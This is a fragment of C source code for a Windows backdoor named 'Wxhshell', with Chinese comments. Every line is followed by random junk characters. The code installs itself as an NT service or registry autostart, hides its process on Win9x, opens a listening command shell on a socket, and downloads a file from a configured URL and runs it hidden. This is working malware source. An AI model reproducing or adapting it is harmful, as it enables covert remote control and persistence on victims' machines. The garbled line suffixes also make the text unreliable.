} PROCESS_BASIC_INFORMATION; DhY.5
D+ mZ7&L
PROCNTQSIP NtQueryInformationProcess; OV3l)73?t
i'9aQi"G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D ]Q,~Y&'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0fwmQ'lW(
k#Qav1_
HANDLE hProcess; [xzgk[>5
PROCESS_BASIC_INFORMATION pbi; {Q],rv|;
0Jz H dz
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6 "fYSn>
if(NULL == hInst ) return 0; /ivcqVu]
l?pF?({
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .GcIwP'aU-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TI4#A E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h}-}!v
{$D[l
hj
if (!NtQueryInformationProcess) return 0; +GCN63nX
fB^h2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n^aSio6
if(!hProcess) return 0; _:@~bHd
m(CW3:|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8:=&=9%
iUSP+iC,
CloseHandle(hProcess); TNe,'S,%
fkf69,+"]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D![42H+-Qd
if(hProcess==NULL) return 0; <vMna< /d
zVN/|[KP4
HMODULE hMod; xz2U?)m;x
char procName[255]; :})(@.H
unsigned long cbNeeded; .T~<[0Ex+U
<Sds5 d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +B(x:hzY9
{UqS q
CloseHandle(hProcess); W0e+yIaR
$VEG1]/svp
if(strstr(procName,"services")) return 1; // 以服务启动 _|<kKfd?
l-s%3E3
return 0; // 注册表启动 EWOS6Yg7
} p7 s#j
kc*zP=
// 主模块 )Z6bMAb0'N
int StartWxhshell(LPSTR lpCmdLine) ]0N'Wtbn
{ \8j5b+
SOCKET wsl; q5
eyle6
BOOL val=TRUE; #I>
c$dd
int port=0; YywiY).]@
struct sockaddr_in door; cr GFU?8
1B}q?8n
if(wscfg.ws_autoins) Install();
[/dGOl+
&gF*p
port=atoi(lpCmdLine); xPBSJhla
(al.7VA;9
if(port<=0) port=wscfg.ws_port; $+(Df|)
Mdk(FG(
WSADATA data; bVfFhfh*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e^v5ai
UN ;9h9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6P,vGmR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]U[y3
door.sin_family = AF_INET; ^RL#(O
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ah^0FU%!g
door.sin_port = htons(port); 5x$/.U
`O~NT'Ed8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mc8|4/<Z
closesocket(wsl); u&4CXv=
return 1; 5ggmS<=
} fZQL!j4
q/T(s
if(listen(wsl,2) == INVALID_SOCKET) { `
=ocr8c
closesocket(wsl); v[$-)vs*ag
return 1; DlC\sm
}
Zl,c+/
Wxhshell(wsl); }"}
z7Xb0
WSACleanup(); 'Cki"4%<
'u9,L FO
return 0; 8H2zMIB
3k YVk
} N$'/J-^
0*e)_l!
// 以NT服务方式启动 ~bm
VpoI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K6uZ4 m;
{ 0[A4k:
DWORD status = 0; {;:QY1QT
DWORD specificError = 0xfffffff; 48}L!m @
cb36 ~{
serviceStatus.dwServiceType = SERVICE_WIN32; ZD$W>'m{F
serviceStatus.dwCurrentState = SERVICE_START_PENDING; K&L9Ue
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ! z!lQ~
serviceStatus.dwWin32ExitCode = 0; ( I<]@7>
serviceStatus.dwServiceSpecificExitCode = 0; f/1soGA
serviceStatus.dwCheckPoint = 0; z-9@K<`H
serviceStatus.dwWaitHint = 0; 6snDv4
"h@|XI
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qcN{p7=0
if (hServiceStatusHandle==0) return; ]lBe
~*R:UTBtw
status = GetLastError(); s,5SWdb\v
if (status!=NO_ERROR) (~59}lu~
{ :S['hBMN
serviceStatus.dwCurrentState = SERVICE_STOPPED; ioIOyj
serviceStatus.dwCheckPoint = 0; Drn{ucIs
serviceStatus.dwWaitHint = 0; 'A^ ;P]y
serviceStatus.dwWin32ExitCode = status; tx$i(
serviceStatus.dwServiceSpecificExitCode = specificError; O"'.n5>:`
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
24Y8n
return; 8S8^sP
} [{s 1=c
4[\$3t.L
serviceStatus.dwCurrentState = SERVICE_RUNNING; / 7i>0J]
serviceStatus.dwCheckPoint = 0; JPo.&5k
serviceStatus.dwWaitHint = 0; 33R1<dRk
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D)kh"cK*1
} B/:+(|
%_kXC~hH_
// 处理NT服务事件,比如:启动、停止 j|6@>T1
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6}V)\"u&
{ t Ye+7s
switch(fdwControl) ZQL4<fy'E
{ [Ej#NHs
case SERVICE_CONTROL_STOP: \BRxdK'
serviceStatus.dwWin32ExitCode = 0; ';'TCb{f *
serviceStatus.dwCurrentState = SERVICE_STOPPED; K;n2mXYGM
serviceStatus.dwCheckPoint = 0; D]n"`< Ho
serviceStatus.dwWaitHint = 0; =)h<" 2
{ p3m!Iota
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mbf'xGO
} ;-aF\}D@n
return; /]xu=q2
case SERVICE_CONTROL_PAUSE: knX*fp
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ffvv8x
break; 8vk*",
case SERVICE_CONTROL_CONTINUE: X2RM*y|
serviceStatus.dwCurrentState = SERVICE_RUNNING; /0S2Omh
break; k`j>lhH
case SERVICE_CONTROL_INTERROGATE: zC@ ziH>{]
break; {S9't;%]
}; +%O_xqq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P^lzl:|
} /mi9q
i8h(b2odQ
// 标准应用程序主函数 r>>4)<C7J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U~;Rzoe)q*
{ n]G_#
;
f *Xum[
// 获取操作系统版本 /.knZ_aJ!
OsIsNt=GetOsVer(); 6%jv|\>
GetModuleFileName(NULL,ExeFile,MAX_PATH); z%4E~u10
$0kuR!U.N
// 从命令行安装 8+7n"6GY2/
if(strpbrk(lpCmdLine,"iI")) Install(); tQrF A2F
.C6wsmQ
// 下载执行文件 @Cnn8Y&'
if(wscfg.ws_downexe) { {OH
@z!+d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Q/%N#
WinExec(wscfg.ws_filenam,SW_HIDE); s8r|48I#;
} G{ |0}
*A^j>lV
if(!OsIsNt) { S=
NG J0
// 如果时win9x,隐藏进程并且设置为注册表启动 31y>/*}
HideProc(); x4_xl
.
StartWxhshell(lpCmdLine); >5O#_?
} zeC@!,lH
else Z(|@C(IL0\
if(StartFromService()) mQbpv'N
// 以服务方式启动 Mk3~%`
StartServiceCtrlDispatcher(DispatchTable); `Kt]i5[ "
else T>~D(4r|pS
// 普通方式启动 |9fvj6?Y
StartWxhshell(lpCmdLine); fGwRv%$^
~BUzyc%
return 0; 6~oo.6bA
}